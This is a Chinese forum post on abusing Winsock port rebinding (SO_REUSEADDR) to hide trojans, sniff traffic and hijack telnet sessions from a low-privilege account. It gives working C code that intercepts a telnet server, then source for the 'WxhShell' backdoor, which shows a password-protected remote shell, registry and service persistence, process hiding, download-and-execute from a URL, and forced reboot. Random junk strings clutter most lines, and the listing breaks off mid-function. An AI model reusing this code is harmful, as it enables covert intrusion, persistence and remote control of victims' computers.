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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w A<JJ_R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rr+Y::E  
)>08{7  
  saddr.sin_family = AF_INET; sXxF5&AF0  
Kt3/C'zu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *L> gZ`Q  
`~Nd4EA)2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NMb`d0;(  
A; Rr#q<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oW3{&vfz  
9NvV{WI-1  
  这意味着什么?意味着可以进行如下的攻击: ^50#R< Ny  
XmN3[j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *X_CtjgF  
8_WFSF^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Z ZX]#=I  
0kP, Zj<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ q`$W9M+k  
c!"&E\F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rg~ ~[6G>  
J@'}lG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sI p q  
\AV6;;}&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l9 RjxO.~U  
Z=`\U?,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E ?(+v  
2)(P;[m^o  
  #include r J'm>&Ps  
  #include ~3 4Ly  
  #include ]5b%r;_  
  #include    !Tuc#yFw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gf2<dEff  
  int main() ZVu&q{s,  
  { Mo`7YS-Y  
  WORD wVersionRequested; * Zb-YA  
  DWORD ret; aLapb5VV  
  WSADATA wsaData; l%]S7|PKx  
  BOOL val; %Z?2 .)  
  SOCKADDR_IN saddr; D/C,Q|Ya6  
  SOCKADDR_IN scaddr; y1P KoN|K  
  int err; Bgs3sM9  
  SOCKET s; }I_/>58  
  SOCKET sc; `ZL~k  
  int caddsize; ;\yY*  
  HANDLE mt; > E;`;b  
  DWORD tid;   wlr/zquAE9  
  wVersionRequested = MAKEWORD( 2, 2 ); R:HF~}  
  err = WSAStartup( wVersionRequested, &wsaData ); e -vL!&;2  
  if ( err != 0 ) { H/m -$;cF3  
  printf("error!WSAStartup failed!\n"); qD:3;85  
  return -1; bf ]W_I]B  
  } hQ`g B.DR  
  saddr.sin_family = AF_INET; ;KqH]h)  
   ,&$=2<Dx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9qxB/5d_  
{iiHeSD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jeM %XI  
  saddr.sin_port = htons(23); 3gZ|^h6 +  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |4NH}XVYJ>  
  { d7Lna^  
  printf("error!socket failed!\n"); F.ml]k&(m  
  return -1; n]G!@-z  
  } ;QbMVY  
  val = TRUE; y)N57#e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o#Q0J17i?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $OU,| D  
  { td{M%D,R"  
  printf("error!setsockopt failed!\n"); nE+OBdl  
  return -1; tM3eB= .*  
  } Stqlp<xy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; - `^594  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2:0'fNXop  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =jZ}@L/+  
z45 7/zO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :db:|=#T  
  { k@r%>Ul@  
  ret=GetLastError(); _ S%3?Q  
  printf("error!bind failed!\n"); p%A s6.  
  return -1; |f+|OZY  
  } Lk{ES$  
  listen(s,2); ^6Y4=  
  while(1) t3%[C;@wB  
  { FTvFtdY  
  caddsize = sizeof(scaddr); j?sq i9#  
  //接受连接请求 g/Q hI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]#>;C:L  
  if(sc!=INVALID_SOCKET) 8$</HNu,  
  { <RzGxhT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eZ+pZq  
  if(mt==NULL) n<47#-  
  { K cI'P(  
  printf("Thread Creat Failed!\n"); Eshc"U  
  break; T0Lh"_X3  
  } 3_k.`s_Z  
  } 2L}F=$zz  
  CloseHandle(mt); kc#<Gr&Z&  
  } <:=}1t.Z  
  closesocket(s); B;f\H,/59  
  WSACleanup(); U_!Wg|  
  return 0; Q _Yl:c  
  }   LPr34BK  
  DWORD WINAPI ClientThread(LPVOID lpParam) R$qp3I  
  { \[</|]'[  
  SOCKET ss = (SOCKET)lpParam; =ZdP0l+V=k  
  SOCKET sc; Sb@:ercC,  
  unsigned char buf[4096]; xW92 ZuzSH  
  SOCKADDR_IN saddr; FJ]BB4 K  
  long num; J+oK:tzt8  
  DWORD val; M(>"e*Pi  
  DWORD ret; z 3RD*3b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U1zcJ l^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -olD!zKS  
  saddr.sin_family = AF_INET; oCD#Gmr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `uL^!-  
  saddr.sin_port = htons(23); Nm;(M =  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hrb67a%b  
  { (80 Tbi~+  
  printf("error!socket failed!\n"); 7P!<c/ E  
  return -1; {OHaI ;  
  } M1(+_W`  
  val = 100; -P"9KnsO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s~OGl PK  
  { uA]Z"  
  ret = GetLastError(); yk r5bS  
  return -1; 1&\ A#  
  } Fy(-.S1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y![m'q}K  
  { d8l T+MS=  
  ret = GetLastError(); r)S tp`p  
  return -1; #NU;$ &  
  } WDznhMo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9C;Hm>WEpP  
  { 'n1-?T)  
  printf("error!socket connect failed!\n"); t+C9QXY  
  closesocket(sc); 72J@Dc  
  closesocket(ss); Y`$dtg {  
  return -1; 3/+r*lv>X  
  } qfF/X"#0  
  while(1) JBY`Y ]V3  
  { \Km gFyF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tuZA q;X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,+`1/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IK#W80y  
  num = recv(ss,buf,4096,0); "`Y.N$M`k  
  if(num>0) )tc"4lp -  
  send(sc,buf,num,0); >(N0''eM]  
  else if(num==0) khS b|mR)  
  break; =3KK/[2M  
  num = recv(sc,buf,4096,0); .9r+LA{  
  if(num>0) ;IklS*p]  
  send(ss,buf,num,0); &OpGcbf1  
  else if(num==0) Ur^~fW1 o  
  break; 6 <&jY  
  } t^N 92$|  
  closesocket(ss); a>w@9   
  closesocket(sc); VKzY6  
  return 0 ; z D&5R/I  
  } !nX}\lw  
z@WuKRsi  
6$42 -a%b  
========================================================== ~nul[>z  
fb8"hO]s  
下边附上一个代码,,WXhSHELL 6]`XW 0{C  
`$V7AqX(  
========================================================== V4c$V]7  
cRt[{ HE  
#include "stdafx.h" e+Qq a4  
Z' cQ< f  
#include <stdio.h> cY&SKV#  
#include <string.h> /{|<3CEe  
#include <windows.h> kVu8/*Q  
#include <winsock2.h> bwH l}3  
#include <winsvc.h> G8Hj<3`  
#include <urlmon.h> Q<TD5t9  
y]1:IJL2;  
#pragma comment (lib, "Ws2_32.lib") TRB)cJZ?  
#pragma comment (lib, "urlmon.lib") d=?Kk4Ag  
KC@F"/h`/  
#define MAX_USER   100 // 最大客户端连接数 GtYtB2U  
#define BUF_SOCK   200 // sock buffer AGxtmBB;  
#define KEY_BUFF   255 // 输入 buffer B.:DW3  
dy>iIc>  
#define REBOOT     0   // 重启 `gI`Cq4  
#define SHUTDOWN   1   // 关机 <Q-Y$ ^\  
z&a%_ ]Q*  
#define DEF_PORT   5000 // 监听端口 !rmXeN]-r  
Q@M>DA!d^V  
#define REG_LEN     16   // 注册表键长度  ;'^5$q  
#define SVC_LEN     80   // NT服务名长度 EN OaC  
>0#WkmRY  
// 从dll定义API \tL 9`RKpg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l| / tKW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y^M ~zOe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -68E]O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); < 0S+[7S"  
jt({@;sU[<  
// wxhshell配置信息 q(tdBd'o6  
struct WSCFG { () l#}H`m  
  int ws_port;         // 监听端口 UG)XA-ez  
  char ws_passstr[REG_LEN]; // 口令 a[Q\8<  
  int ws_autoins;       // 安装标记, 1=yes 0=no @I\&-Z ^  
  char ws_regname[REG_LEN]; // 注册表键名 /^#8z(@B  
  char ws_svcname[REG_LEN]; // 服务名 ^]iIvIp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G@4ro<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mFL"h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Ac5(li_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z]P =>w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?kOtK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `5VEGSP]  
~d+.w%Z `  
}; < 5%:/j  
43i@5F]  
// default Wxhshell configuration B/P E{ /  
struct WSCFG wscfg={DEF_PORT, 9XU"Ppv  
    "xuhuanlingzhe", iy{n"#uX  
    1, Ww8C}2g3  
    "Wxhshell", 5C03)Go3Z  
    "Wxhshell", w!~%v #  
            "WxhShell Service", YMlnC7?_ /  
    "Wrsky Windows CmdShell Service", f:/[  
    "Please Input Your Password: ", q7itznQSKc  
  1, sbWen?  
  "http://www.wrsky.com/wxhshell.exe", BvXA9YQ3  
  "Wxhshell.exe" |AY`OVgcKD  
    }; C26vH#C  
:/F=j;o  
// 消息定义模块 }sbh|#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V$D+Joj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K^H{B& b8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Gka;,n  
char *msg_ws_ext="\n\rExit."; -pWnO9q  
char *msg_ws_end="\n\rQuit."; cc LTA  
char *msg_ws_boot="\n\rReboot..."; O$'BJKj-4  
char *msg_ws_poff="\n\rShutdown..."; ?*2DR:o>@  
char *msg_ws_down="\n\rSave to "; (k{rn3,  
'\v mm>  
char *msg_ws_err="\n\rErr!"; fjc8@S5x9j  
char *msg_ws_ok="\n\rOK!"; i{#5=np H  
^jY'Hj.Bs  
char ExeFile[MAX_PATH]; RnvPqNs  
int nUser = 0; xY3 KKje  
HANDLE handles[MAX_USER]; pS1f y]  
int OsIsNt; z#$>f*b  
03]   
SERVICE_STATUS       serviceStatus; L4fM?{Ic:s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zv1#PfO@)  
5PaOa8=2f  
// 函数声明 \0K3TMl)J  
int Install(void); S4r-s;U-v/  
int Uninstall(void); !,;>)R   
int DownloadFile(char *sURL, SOCKET wsh); 4|?y [j6  
int Boot(int flag); JG]67v{F  
void HideProc(void); 9VEx0mkdd  
int GetOsVer(void); m7GM1[?r  
int Wxhshell(SOCKET wsl); P;A9t#\  
void TalkWithClient(void *cs); X:aLed_{f  
int CmdShell(SOCKET sock); {_ &*"bK  
int StartFromService(void); U Bo[iZ|%  
int StartWxhshell(LPSTR lpCmdLine); F\!Va  
-r.Qy(}p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .7h:/d Y:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Ya4>*B  
 j|Q*L<J  
// 数据结构和表定义 aFCma2  
SERVICE_TABLE_ENTRY DispatchTable[] = @ m' zm:  
{ xJ2DkZ  
{wscfg.ws_svcname, NTServiceMain}, z0@{5e$#Y  
{NULL, NULL} oWJ0>)  
}; ,Z2fVz~9  
aan)yP  
// 自我安装 O{4G'CgN(  
int Install(void) Gr1WBYK  
{ **oa R  
  char svExeFile[MAX_PATH]; mz|#K7:  
  HKEY key; M_<? <>|  
  strcpy(svExeFile,ExeFile); T#HW{3  
]c67zyX=%  
// 如果是win9x系统,修改注册表设为自启动 D*!UB5<>/t  
if(!OsIsNt) { I}?+>cf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NuL.l__W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }bU1wIW9I  
  RegCloseKey(key); G*oqhep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)q 5m y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 676r0`  
  RegCloseKey(key); vlygS(Y_7  
  return 0; Thlqe?  
    } N ,8^AUJ3&  
  } OA_WjTwDs  
} f Fr[ &\[  
else { ?h7,q*rxk  
vz\^Aa #fv  
// 如果是NT以上系统,安装为系统服务 Ng1{ NI+S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  BZ'63  
if (schSCManager!=0) 6k1;62Ntk  
{ kYwV0xQ  
  SC_HANDLE schService = CreateService a#U2y"  
  ( T-;|E^  
  schSCManager, /Dmuvb|A  
  wscfg.ws_svcname, LqDj4[}  
  wscfg.ws_svcdisp, 2YS1%<-g*  
  SERVICE_ALL_ACCESS, T>$S&U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,aA%,C.0U  
  SERVICE_AUTO_START, &jbZL5  
  SERVICE_ERROR_NORMAL, (IE\}QcK  
  svExeFile, *$+:Cbe-F  
  NULL, ><l|&&e-  
  NULL, ;J]Lzh  
  NULL, sQIzcnKB  
  NULL, Vo G`@^s  
  NULL ,V>7eQt?  
  ); sI&|qK-(  
  if (schService!=0) \$Jz26 -n  
  { ./Y5Vk#Rp\  
  CloseServiceHandle(schService); P+9%(S)L3  
  CloseServiceHandle(schSCManager); IP#?$X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u0s25JY.%  
  strcat(svExeFile,wscfg.ws_svcname); ,MmX(O0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KtR*/<7IC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <i!:{'%  
  RegCloseKey(key); MBjo9P(  
  return 0; BEfP#h=hr  
    } L/39<&W  
  } 'yIz<o  
  CloseServiceHandle(schSCManager); A9D vU)1  
} `A\|qH5`W  
} 5[qCH(6  
(^U 8wit/  
return 1; \DgWp:|  
} :!cNkJa  
x_k @hGSC  
// 自我卸载 Z7$"0%  
int Uninstall(void) WxgA{q7:  
{ JSCZX:5  
  HKEY key; ;7 F'xz"  
EN\ uX!  
if(!OsIsNt) { (mR ;MC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }O7!>T  
  RegDeleteValue(key,wscfg.ws_regname); DJ]GM|?  
  RegCloseKey(key); 5N5Deb#V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V1d{E 0lM  
  RegDeleteValue(key,wscfg.ws_regname); %F.^cd"  
  RegCloseKey(key); RaX :&PE  
  return 0; @pn<x"F5'  
  } #P^cR_|\  
} ~HM,@5dFC  
} ^! r<-J  
else { Z~s"=kF,  
W "}Cfv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A4|L;z/A[h  
if (schSCManager!=0) H[;\[ 3  
{ sX,."@[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DV6B_A{kI  
  if (schService!=0) kJfMTfl,  
  { v ?OIK=Xm  
  if(DeleteService(schService)!=0) { p10i_<J]=  
  CloseServiceHandle(schService); ]Av)N6$&-Z  
  CloseServiceHandle(schSCManager); f:!b0j  
  return 0; YU (|i}b  
  } V\=QAN^  
  CloseServiceHandle(schService); HUuZ7jJwf  
  } 3<:m;F*#  
  CloseServiceHandle(schSCManager); X1N*}@:/  
} c_RAtM<n  
} @/yQ4Gr  
BQ /0z^A  
return 1; J Gpy$T{t  
} Eg/=VBtc  
9Z_!}eY2mc  
// 从指定url下载文件 wV& UB@  
int DownloadFile(char *sURL, SOCKET wsh) Q"Ur*/-U  
{ {] Zet}2  
  HRESULT hr; O"c@x:i  
char seps[]= "/"; -h|YS/$f  
char *token; RY\[[eG  
char *file; ! ,v!7I  
char myURL[MAX_PATH]; zmEg4v'I  
char myFILE[MAX_PATH]; ^5-8'9w  
cCWk^lF],  
strcpy(myURL,sURL); ~A-1x!YiU  
  token=strtok(myURL,seps); M<KWx'uV  
  while(token!=NULL) aplOo[  
  { :TTZ@ q  
    file=token; u@ psVt   
  token=strtok(NULL,seps); 'U %L\v,  
  } )V6<'>1WZ  
# 1#?k  
GetCurrentDirectory(MAX_PATH,myFILE); |."thTO  
strcat(myFILE, "\\"); u,f$cR  
strcat(myFILE, file); F%s'R 0l  
  send(wsh,myFILE,strlen(myFILE),0); q<2b,w==  
send(wsh,"...",3,0); YH .+(tNv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YYzl"<)c  
  if(hr==S_OK) +|OrV'  
return 0; NR@n%p  
else }o  {6  
return 1; .on}F>3k$  
{rE]y C^  
} + NpH k  
Oj`I=O6  
// 系统电源模块 CdFr YL+F  
int Boot(int flag) g~Hmka_fD1  
{ sm1(I7y  
  HANDLE hToken; ^@a|s Sb  
  TOKEN_PRIVILEGES tkp; 2uajK ..b  
*H''.6  
  if(OsIsNt) { PL6f**{-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ v21b?   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Kh1 HU.F  
    tkp.PrivilegeCount = 1; =4H"&Eu{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UrhSX!g/A>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pZA0Go2!IN  
if(flag==REBOOT) { =u,8(:R]s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hiM nU  
  return 0; tPb$ua|  
} B[8`l} t  
else { kd3vlp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P!*G"^0<  
  return 0; A@I( &Z  
} C2/B1ba  
  } }vGW lNd#g  
  else { PE7D)!d T  
if(flag==REBOOT) { fZ6"DJZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1p%75VW  
  return 0; c&rS7%  
} q4wS<, 3  
else { XzH"dDAVE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c|,6(4j>$  
  return 0; rgOc+[X  
} [fjP.kw;J  
} ( ;(DI^Un8  
Tz"Xm/Gy  
return 1; x_K8Gr#Z0  
} '9R.$,N  
+uD4$Wt_F  
// win9x进程隐藏模块 p+pBk$4  
void HideProc(void) ivb?B,Lz0  
{ K>a+-QWK3  
"{igrl8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I\FBf&~  
  if ( hKernel != NULL ) "-U`E)]w*[  
  { <hA1[S}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qv`Lc]'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1q Jz;\wU  
    FreeLibrary(hKernel); r`8>@2sW1  
  } /eI]!a  
=bwuLno>  
return; =OUms@xcE  
} n(}zq  
NUvHY:  
// 获取操作系统版本 *Mg. * N  
int GetOsVer(void) [Jjb<6[o  
{ ;94e   
  OSVERSIONINFO winfo; Ld?-Ik~fF>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  \W',g[Y:  
  GetVersionEx(&winfo); `1T?\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QwaAGUA  
  return 1; ;vDjd2@  
  else i4XE26B;e  
  return 0; #,4CeD|(D,  
} )8rN   
A/%+AH(  
// 客户端句柄模块 )PNeJf|@  
int Wxhshell(SOCKET wsl) q#n0!5Lv2  
{ 0OrT{jo  
  SOCKET wsh; # {'1\@q  
  struct sockaddr_in client; n=+K$R  
  DWORD myID; U fzA/  
{f9jK@%Gy  
  while(nUser<MAX_USER) E Pgn2[z  
{ !B#Lea  
  int nSize=sizeof(client); "B~ow{3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6*({ZE  
  if(wsh==INVALID_SOCKET) return 1; *co=<g]4KY  
b# RTHe&X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }0 BKKU+  
if(handles[nUser]==0) P`$"B0B)  
  closesocket(wsh); yL#bZ9W }  
else JTw3uM, e  
  nUser++; ~$PQ8[=  
  } s:fy *6=[Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MBO3y&\S4  
> kLUQ%zE@  
  return 0; Gop;!aV1*  
} u0M? l  
GF3"$?Cw  
// 关闭 socket !|1GraiS  
void CloseIt(SOCKET wsh) g3`:d)|  
{ 4.^1D';(  
closesocket(wsh); D@]*{WO  
nUser--; iO 9fg  
ExitThread(0); fF"\$Ny  
} <A_LZi  
$<~o,e-4  
// 客户端请求句柄 oOU?6nq  
void TalkWithClient(void *cs) _eE hIQ9  
{ {);S6F$[3  
%~`y82r6  
  SOCKET wsh=(SOCKET)cs; >C1**GQ  
  char pwd[SVC_LEN]; zh<[ /'l  
  char cmd[KEY_BUFF]; eVVm"96Q.;  
char chr[1]; ;ZSJ-r  
int i,j; 9MmAoLm  
*&m{)cTs  
  while (nUser < MAX_USER) { '|9fDzW"]  
rerl-T<3  
if(wscfg.ws_passstr) { (q@DBb4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <DM /"^*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OjUZ-_J  
  //ZeroMemory(pwd,KEY_BUFF); &f:"p*=a\  
      i=0; '4L0=G:A<q  
  while(i<SVC_LEN) { me7?   
C XZO  
  // 设置超时 )Hp{8c  
  fd_set FdRead; 6^Q Bol  
  struct timeval TimeOut; ks=l Nz9  
  FD_ZERO(&FdRead); vuOixAkw  
  FD_SET(wsh,&FdRead); SR4cR)Iz  
  TimeOut.tv_sec=8; "K7{y4  
  TimeOut.tv_usec=0; ^D{!!)O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3miEF0x[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TxN'[G  
lhyWlO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?0U.1N  
  pwd=chr[0]; 905%5\Y  
  if(chr[0]==0xd || chr[0]==0xa) { NJVAvq2E.  
  pwd=0; RwG@C|sG  
  break; h{R>L s  
  } #K5)Rb-H  
  i++; }=+J&cR  
    } ?3x7_=4t@  
"-pQL )f  
  // 如果是非法用户,关闭 socket }AZ0BI,TI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aMxg6\8  
} Q1?0R<jOU  
k4:e0Wd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'mH9 O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h7}D//~p  
/MErS< 6  
while(1) { +E{'A7im8=  
jlf.~ vt  
  ZeroMemory(cmd,KEY_BUFF); xUiSAKrcM  
4490l"  
      // 自动支持客户端 telnet标准   :#?Z)oQpT  
  j=0; z/B[quSio  
  while(j<KEY_BUFF) { aQMUC6cPM@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K!JXsdHK  
  cmd[j]=chr[0]; .5i\L OTd  
  if(chr[0]==0xa || chr[0]==0xd) { J<<Ph  
  cmd[j]=0; XtJ _po  
  break; v*Fr #I0U  
  } l f<?k  
  j++; &L88e\ c+  
    } zNu>25/)(  
0#gu7n|J  
  // 下载文件 KfSI6 Y _  
  if(strstr(cmd,"http://")) { wRa$b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YH0=Y mU#X  
  if(DownloadFile(cmd,wsh)) Wsz-#kc\[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@"lIKeP  
  else N3_rqRd^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]dx6E6A,  
  } OwdA6it^f  
  else { B.e3IM0  
V<ZohB?y  
    switch(cmd[0]) { K,!"5WrX*  
  W+F^(SC\  
  // 帮助 u9TiEEof3  
  case '?': { |wnXBKV(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )} I>"n  
    break; $IM}d"/9  
  } P6n9yJ$,cb  
  // 安装 pyW&`(]S  
  case 'i': { D*Cn!v$  
    if(Install()) 7Vn;LW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zEmg}  
    else !)Y T_ib  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O}Ipg[h  
    break; r#% e$  
    } dB{VY+!  
  // 卸载 7S +YQ$_  
  case 'r': { S? -6hGA j  
    if(Uninstall()) )L)jvCw,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W^es"\  
    else 5uVSbo.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zNZ"PYh<u  
    break; j}uVT2ZE%  
    } *J ]2"~_.  
  // 显示 wxhshell 所在路径 Ju0W  
  case 'p': { F8c^M</  
    char svExeFile[MAX_PATH]; yX-h|Cr"  
    strcpy(svExeFile,"\n\r"); s+EJXox w  
      strcat(svExeFile,ExeFile); -<Wv7FNpD  
        send(wsh,svExeFile,strlen(svExeFile),0); Y-0o>:SM  
    break; ]vFtByqn  
    } Sk ~( t  
  // 重启 0Gq}x;8H&  
  case 'b': { 'b?Px}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j>OuNeo@4  
    if(Boot(REBOOT)) i`FskEoijq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Ou|4WjnL  
    else { 'Ti7}K  
    closesocket(wsh); jjT|@\-u  
    ExitThread(0); D2060ze  
    } 9r5<A!1#L  
    break; ]*M VVzF  
    } bv%A;  
  // 关机 %,Pwo{SH  
